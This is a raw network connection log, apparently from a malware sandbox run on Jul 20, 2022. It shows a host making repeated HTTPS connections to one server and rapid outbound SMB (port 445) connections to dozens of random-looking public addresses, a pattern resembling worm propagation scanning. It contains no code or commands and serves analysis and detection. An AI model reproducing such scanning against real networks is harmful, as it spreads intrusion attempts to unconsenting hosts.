Jul 20, 2022 06:08:15.398582935 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.400401115 CEST	445	54091	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:15.402086020 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.402096033 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.419044018 CEST	445	54152	178.159.42.77	192.168.2.6
Jul 20, 2022 06:08:15.473117113 CEST	54156	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:15.478360891 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.478452921 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.478494883 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.478523016 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.481703043 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.481729031 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.481739044 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.481801033 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.483711958 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.483743906 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.483829021 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.488424063 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.488446951 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.636214972 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.636343956 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.636965990 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.636987925 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.639408112 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.639431000 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.642491102 CEST	445	54156	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:15.642642975 CEST	54156	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:15.642827034 CEST	54156	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:15.646826029 CEST	54162	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:15.711741924 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.711817026 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.711838961 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.711869955 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.711894035 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.711904049 CEST	443	54157	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.711920977 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.711925983 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.711937904 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.711942911 CEST	54157	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.714364052 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.714402914 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.714483023 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.715032101 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.715054035 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.811467886 CEST	445	54156	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:15.811500072 CEST	445	54156	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:15.821451902 CEST	445	54162	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:15.821588993 CEST	54162	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:15.851788044 CEST	54162	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:15.861777067 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.861927032 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.862484932 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.862498045 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.865190983 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.865211010 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.922668934 CEST	54152	445	192.168.2.6	178.159.42.77
Jul 20, 2022 06:08:15.949536085 CEST	445	54152	178.159.42.77	192.168.2.6
Jul 20, 2022 06:08:15.978991985 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.979104042 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.979171991 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.979203939 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.025321007 CEST	445	54162	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:16.055109978 CEST	54162	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:16.057214975 CEST	54167	445	192.168.2.6	194.134.158.69
Jul 20, 2022 06:08:16.059688091 CEST	54172	445	192.168.2.6	152.6.124.174
Jul 20, 2022 06:08:16.060206890 CEST	54173	445	192.168.2.6	126.65.193.60
Jul 20, 2022 06:08:16.060741901 CEST	54174	445	192.168.2.6	101.193.196.33
Jul 20, 2022 06:08:16.072185993 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.072221041 CEST	443	54163	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.072232962 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.072299957 CEST	54163	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.074898005 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.074942112 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.075026989 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.077426910 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.077451944 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.227809906 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.227953911 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.228224039 CEST	445	54162	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:16.231595039 CEST	54162	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:16.232969999 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.232997894 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.237344980 CEST	54180	445	192.168.2.6	46.189.172.210
Jul 20, 2022 06:08:16.238718987 CEST	54181	445	192.168.2.6	61.163.166.111
Jul 20, 2022 06:08:16.239264011 CEST	54182	445	192.168.2.6	27.54.156.19
Jul 20, 2022 06:08:16.239768028 CEST	54183	445	192.168.2.6	126.50.105.138
Jul 20, 2022 06:08:16.240303993 CEST	54184	445	192.168.2.6	55.240.119.188
Jul 20, 2022 06:08:16.241413116 CEST	54186	445	192.168.2.6	51.125.19.155
Jul 20, 2022 06:08:16.241928101 CEST	54187	445	192.168.2.6	176.168.40.248
Jul 20, 2022 06:08:16.242419958 CEST	54188	445	192.168.2.6	152.63.246.37
Jul 20, 2022 06:08:16.243825912 CEST	54191	445	192.168.2.6	113.61.193.162
Jul 20, 2022 06:08:16.244327068 CEST	54192	445	192.168.2.6	69.15.88.209
Jul 20, 2022 06:08:16.245691061 CEST	54195	445	192.168.2.6	71.202.191.155
Jul 20, 2022 06:08:16.246171951 CEST	54196	445	192.168.2.6	122.47.200.217
Jul 20, 2022 06:08:16.247597933 CEST	54199	445	192.168.2.6	14.9.131.15
Jul 20, 2022 06:08:16.248080015 CEST	54200	445	192.168.2.6	153.50.238.110
Jul 20, 2022 06:08:16.248600006 CEST	54201	445	192.168.2.6	102.198.27.186
Jul 20, 2022 06:08:16.249052048 CEST	54202	445	192.168.2.6	58.124.178.28
Jul 20, 2022 06:08:16.262846947 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.262870073 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.326390982 CEST	54205	445	192.168.2.6	115.17.131.224
Jul 20, 2022 06:08:16.327802896 CEST	54208	445	192.168.2.6	205.98.67.131
Jul 20, 2022 06:08:16.343621016 CEST	54211	445	192.168.2.6	34.160.41.123
Jul 20, 2022 06:08:16.351377964 CEST	54212	445	192.168.2.6	43.254.85.84
Jul 20, 2022 06:08:16.351475000 CEST	54213	445	192.168.2.6	7.66.59.52
Jul 20, 2022 06:08:16.351746082 CEST	54218	445	192.168.2.6	1.229.9.99
Jul 20, 2022 06:08:16.352817059 CEST	54220	445	192.168.2.6	140.135.19.204
Jul 20, 2022 06:08:16.360261917 CEST	445	54211	34.160.41.123	192.168.2.6
Jul 20, 2022 06:08:16.377902031 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.377973080 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.378000021 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.378046989 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.384181023 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.384223938 CEST	443	54175	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.384234905 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.384270906 CEST	54175	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.405981064 CEST	445	54162	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:16.494890928 CEST	54222	445	192.168.2.6	176.241.42.49
Jul 20, 2022 06:08:16.495563984 CEST	54223	445	192.168.2.6	37.21.160.83
Jul 20, 2022 06:08:16.496071100 CEST	54224	445	192.168.2.6	178.159.42.78
Jul 20, 2022 06:08:16.543080091 CEST	445	54222	176.241.42.49	192.168.2.6
Jul 20, 2022 06:08:16.571062088 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.571099997 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.571177959 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.679984093 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.680008888 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.830661058 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:16.830810070 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:16.875850916 CEST	54211	445	192.168.2.6	34.160.41.123
Jul 20, 2022 06:08:16.895431995 CEST	445	54211	34.160.41.123	192.168.2.6
Jul 20, 2022 06:08:17.047810078 CEST	54222	445	192.168.2.6	176.241.42.49
Jul 20, 2022 06:08:17.096856117 CEST	445	54222	176.241.42.49	192.168.2.6
Jul 20, 2022 06:08:17.407181978 CEST	54211	445	192.168.2.6	34.160.41.123
Jul 20, 2022 06:08:17.425293922 CEST	445	54211	34.160.41.123	192.168.2.6
Jul 20, 2022 06:08:17.781109095 CEST	54233	445	192.168.2.6	138.192.98.57
Jul 20, 2022 06:08:17.781867981 CEST	54234	445	192.168.2.6	108.36.104.241
Jul 20, 2022 06:08:17.784013987 CEST	54237	445	192.168.2.6	137.237.31.11
Jul 20, 2022 06:08:17.784738064 CEST	54238	445	192.168.2.6	20.71.123.212
Jul 20, 2022 06:08:17.785465002 CEST	54239	445	192.168.2.6	115.86.104.241
Jul 20, 2022 06:08:17.786175966 CEST	54240	445	192.168.2.6	42.203.160.124
Jul 20, 2022 06:08:17.790909052 CEST	54247	445	192.168.2.6	125.1.15.176
Jul 20, 2022 06:08:17.794118881 CEST	54252	445	192.168.2.6	124.59.221.198
Jul 20, 2022 06:08:17.794805050 CEST	54253	445	192.168.2.6	167.100.198.47
Jul 20, 2022 06:08:17.795542955 CEST	54254	445	192.168.2.6	51.77.104.202
Jul 20, 2022 06:08:17.796205044 CEST	54255	445	192.168.2.6	32.129.157.65
Jul 20, 2022 06:08:17.796902895 CEST	54256	445	192.168.2.6	14.53.225.248
Jul 20, 2022 06:08:17.803649902 CEST	54257	445	192.168.2.6	64.171.112.12
Jul 20, 2022 06:08:17.806967974 CEST	54262	445	192.168.2.6	93.25.38.164
Jul 20, 2022 06:08:17.808257103 CEST	54264	445	192.168.2.6	56.92.75.100
Jul 20, 2022 06:08:17.810132027 CEST	54267	445	192.168.2.6	60.171.185.53
Jul 20, 2022 06:08:17.811960936 CEST	54270	445	192.168.2.6	4.135.53.43
Jul 20, 2022 06:08:17.875818968 CEST	54275	445	192.168.2.6	34.131.141.39
Jul 20, 2022 06:08:17.876646042 CEST	54276	445	192.168.2.6	34.200.81.22
Jul 20, 2022 06:08:17.877351999 CEST	54277	445	192.168.2.6	80.95.130.172
Jul 20, 2022 06:08:17.878057003 CEST	54278	445	192.168.2.6	216.95.133.212
Jul 20, 2022 06:08:17.878828049 CEST	54279	445	192.168.2.6	126.173.5.202
Jul 20, 2022 06:08:17.880129099 CEST	54281	445	192.168.2.6	150.165.131.240
Jul 20, 2022 06:08:17.880836964 CEST	54282	445	192.168.2.6	145.169.105.200
Jul 20, 2022 06:08:17.881798029 CEST	54283	445	192.168.2.6	6.187.169.186
Jul 20, 2022 06:08:17.883922100 CEST	54286	445	192.168.2.6	223.117.235.7
Jul 20, 2022 06:08:17.884627104 CEST	54287	445	192.168.2.6	12.220.141.47
Jul 20, 2022 06:08:17.885948896 CEST	54289	445	192.168.2.6	178.159.42.79
Jul 20, 2022 06:08:17.886636972 CEST	54290	445	192.168.2.6	176.241.42.50
Jul 20, 2022 06:08:17.887315989 CEST	54291	445	192.168.2.6	37.21.160.84
Jul 20, 2022 06:08:19.105458975 CEST	54296	445	192.168.2.6	37.21.160.85
Jul 20, 2022 06:08:19.106287956 CEST	54297	445	192.168.2.6	176.241.42.51
Jul 20, 2022 06:08:19.107989073 CEST	54298	445	192.168.2.6	178.159.42.80
Jul 20, 2022 06:08:19.133002043 CEST	54299	445	192.168.2.6	154.7.127.73
Jul 20, 2022 06:08:19.133857965 CEST	54300	445	192.168.2.6	34.146.85.239
Jul 20, 2022 06:08:19.134625912 CEST	54301	445	192.168.2.6	209.56.21.176
Jul 20, 2022 06:08:19.135354042 CEST	54302	445	192.168.2.6	215.216.164.81
Jul 20, 2022 06:08:19.136042118 CEST	54303	445	192.168.2.6	38.204.38.116
Jul 20, 2022 06:08:19.157553911 CEST	445	54297	176.241.42.51	192.168.2.6
Jul 20, 2022 06:08:19.210580111 CEST	54309	445	192.168.2.6	78.219.224.29
Jul 20, 2022 06:08:19.228552103 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.228589058 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.444164038 CEST	54310	445	192.168.2.6	153.192.227.194
Jul 20, 2022 06:08:19.524198055 CEST	54314	445	192.168.2.6	37.210.108.105
Jul 20, 2022 06:08:19.524393082 CEST	54317	445	192.168.2.6	6.77.244.104
Jul 20, 2022 06:08:19.524571896 CEST	54320	445	192.168.2.6	99.153.98.169
Jul 20, 2022 06:08:19.524725914 CEST	54322	445	192.168.2.6	176.155.124.42
Jul 20, 2022 06:08:19.524960995 CEST	54327	445	192.168.2.6	53.119.85.38
Jul 20, 2022 06:08:19.525171995 CEST	54330	445	192.168.2.6	17.166.71.43
Jul 20, 2022 06:08:19.525264978 CEST	54331	445	192.168.2.6	124.165.147.181
Jul 20, 2022 06:08:19.525376081 CEST	54332	445	192.168.2.6	176.251.97.94
Jul 20, 2022 06:08:19.525490999 CEST	54333	445	192.168.2.6	186.211.211.242
Jul 20, 2022 06:08:19.540139914 CEST	54340	445	192.168.2.6	80.216.44.31
Jul 20, 2022 06:08:19.540950060 CEST	54347	445	192.168.2.6	97.5.208.0
Jul 20, 2022 06:08:19.541167021 CEST	54349	445	192.168.2.6	119.218.53.123
Jul 20, 2022 06:08:19.541348934 CEST	54352	445	192.168.2.6	120.95.59.143
Jul 20, 2022 06:08:19.541429996 CEST	54353	445	192.168.2.6	8.194.40.115
Jul 20, 2022 06:08:19.541590929 CEST	54354	445	192.168.2.6	18.59.20.226
Jul 20, 2022 06:08:19.541693926 CEST	54356	445	192.168.2.6	162.198.151.77
Jul 20, 2022 06:08:19.541785002 CEST	54357	445	192.168.2.6	217.182.3.37
Jul 20, 2022 06:08:19.541898966 CEST	54358	445	192.168.2.6	112.95.206.34
Jul 20, 2022 06:08:19.542093992 CEST	54360	445	192.168.2.6	77.246.0.87
Jul 20, 2022 06:08:19.542231083 CEST	54359	445	192.168.2.6	65.21.44.199
Jul 20, 2022 06:08:19.549273014 CEST	54363	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:19.563283920 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.563303947 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.718396902 CEST	445	54363	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:19.718502998 CEST	54363	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:19.718660116 CEST	54363	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:19.729120970 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.729208946 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.729340076 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.729393005 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.729410887 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.729437113 CEST	443	54225	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.729471922 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.729511023 CEST	54225	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.732284069 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.732332945 CEST	443	54364	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.732425928 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.732911110 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.732938051 CEST	443	54364	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.745819092 CEST	445	54310	153.192.227.194	192.168.2.6
Jul 20, 2022 06:08:19.813564062 CEST	54297	445	192.168.2.6	176.241.42.51
Jul 20, 2022 06:08:19.865343094 CEST	445	54297	176.241.42.51	192.168.2.6
Jul 20, 2022 06:08:19.877939939 CEST	443	54364	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.878052950 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.888011932 CEST	445	54363	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:19.888214111 CEST	54363	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:19.902760983 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.902787924 CEST	443	54364	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:19.990153074 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:19.990288973 CEST	443	54364	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.063416958 CEST	445	54363	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:20.063837051 CEST	54363	445	192.168.2.6	107.186.37.9
Jul 20, 2022 06:08:20.091015100 CEST	443	54364	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.091110945 CEST	443	54364	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.091155052 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.091211081 CEST	54364	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.112059116 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.112113953 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.112237930 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.112821102 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.112848997 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.175605059 CEST	54366	445	192.168.2.6	37.21.160.86
Jul 20, 2022 06:08:20.176105976 CEST	54367	445	192.168.2.6	178.159.42.81
Jul 20, 2022 06:08:20.176635981 CEST	54368	445	192.168.2.6	176.241.42.52
Jul 20, 2022 06:08:20.232887983 CEST	445	54363	107.186.37.9	192.168.2.6
Jul 20, 2022 06:08:20.254690886 CEST	54371	445	192.168.2.6	60.107.180.230
Jul 20, 2022 06:08:20.254771948 CEST	54374	445	192.168.2.6	60.45.22.145
Jul 20, 2022 06:08:20.254807949 CEST	54373	445	192.168.2.6	147.28.81.154
Jul 20, 2022 06:08:20.254870892 CEST	54376	445	192.168.2.6	206.33.60.124
Jul 20, 2022 06:08:20.256544113 CEST	54375	445	192.168.2.6	204.119.187.7
Jul 20, 2022 06:08:20.261451960 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.261595964 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.262052059 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.262072086 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.263845921 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.263865948 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.271493912 CEST	445	54366	37.21.160.86	192.168.2.6
Jul 20, 2022 06:08:20.313496113 CEST	54377	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:20.330722094 CEST	54378	445	192.168.2.6	60.34.178.233
Jul 20, 2022 06:08:20.349004030 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.349093914 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.349097967 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.349152088 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.349312067 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.349340916 CEST	443	54365	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.349350929 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.349409103 CEST	54365	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.372297049 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.372353077 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.372462988 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.372769117 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.372788906 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.391851902 CEST	54310	445	192.168.2.6	153.192.227.194
Jul 20, 2022 06:08:20.487627983 CEST	445	54377	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:20.487737894 CEST	54377	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:20.487889051 CEST	54377	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:20.489653111 CEST	54382	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:20.518224955 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.518332958 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.524138927 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.524158955 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.526104927 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.526123047 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.611200094 CEST	54383	445	192.168.2.6	15.18.31.201
Jul 20, 2022 06:08:20.631761074 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.631835938 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.631853104 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.631874084 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.631916046 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.631999969 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.654057026 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.654087067 CEST	443	54381	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.654095888 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.654146910 CEST	54381	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.660775900 CEST	445	54377	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:20.660902023 CEST	445	54377	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:20.660933971 CEST	445	54382	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:20.661086082 CEST	54382	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:20.664309978 CEST	54382	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:20.666763067 CEST	445	54371	60.107.180.230	192.168.2.6
Jul 20, 2022 06:08:20.672416925 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.672461987 CEST	443	54384	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.672568083 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.672888041 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.672907114 CEST	443	54384	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.678953886 CEST	54385	445	192.168.2.6	107.42.143.212
Jul 20, 2022 06:08:20.679074049 CEST	54386	445	192.168.2.6	46.114.138.74
Jul 20, 2022 06:08:20.679930925 CEST	54389	445	192.168.2.6	166.253.110.206
Jul 20, 2022 06:08:20.679986000 CEST	54390	445	192.168.2.6	37.8.64.65
Jul 20, 2022 06:08:20.680129051 CEST	54397	445	192.168.2.6	70.164.71.111
Jul 20, 2022 06:08:20.680258989 CEST	54399	445	192.168.2.6	132.137.249.198
Jul 20, 2022 06:08:20.680350065 CEST	54402	445	192.168.2.6	30.162.239.150
Jul 20, 2022 06:08:20.680352926 CEST	54403	445	192.168.2.6	133.83.18.177
Jul 20, 2022 06:08:20.680448055 CEST	54404	445	192.168.2.6	93.123.154.163
Jul 20, 2022 06:08:20.680546999 CEST	54407	445	192.168.2.6	164.136.228.146
Jul 20, 2022 06:08:20.680636883 CEST	54406	445	192.168.2.6	12.28.46.233
Jul 20, 2022 06:08:20.680656910 CEST	54408	445	192.168.2.6	67.69.245.160
Jul 20, 2022 06:08:20.680696964 CEST	54410	445	192.168.2.6	55.31.202.39
Jul 20, 2022 06:08:20.680728912 CEST	54411	445	192.168.2.6	171.151.197.83
Jul 20, 2022 06:08:20.680953979 CEST	54419	445	192.168.2.6	57.34.70.15
Jul 20, 2022 06:08:20.681102037 CEST	54418	445	192.168.2.6	179.151.200.50
Jul 20, 2022 06:08:20.681107044 CEST	54422	445	192.168.2.6	85.67.182.9
Jul 20, 2022 06:08:20.691257000 CEST	54433	445	192.168.2.6	137.119.232.106
Jul 20, 2022 06:08:20.691262007 CEST	54432	445	192.168.2.6	53.46.145.215
Jul 20, 2022 06:08:20.691308975 CEST	54434	445	192.168.2.6	114.91.240.229
Jul 20, 2022 06:08:20.697196960 CEST	445	54310	153.192.227.194	192.168.2.6
Jul 20, 2022 06:08:20.821119070 CEST	443	54384	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.821244001 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.821876049 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.821893930 CEST	443	54384	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.823642969 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.823656082 CEST	443	54384	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.833599091 CEST	445	54382	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:20.833828926 CEST	54382	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:20.891834021 CEST	54366	445	192.168.2.6	37.21.160.86
Jul 20, 2022 06:08:20.932101965 CEST	443	54384	20.238.103.94	192.168.2.6
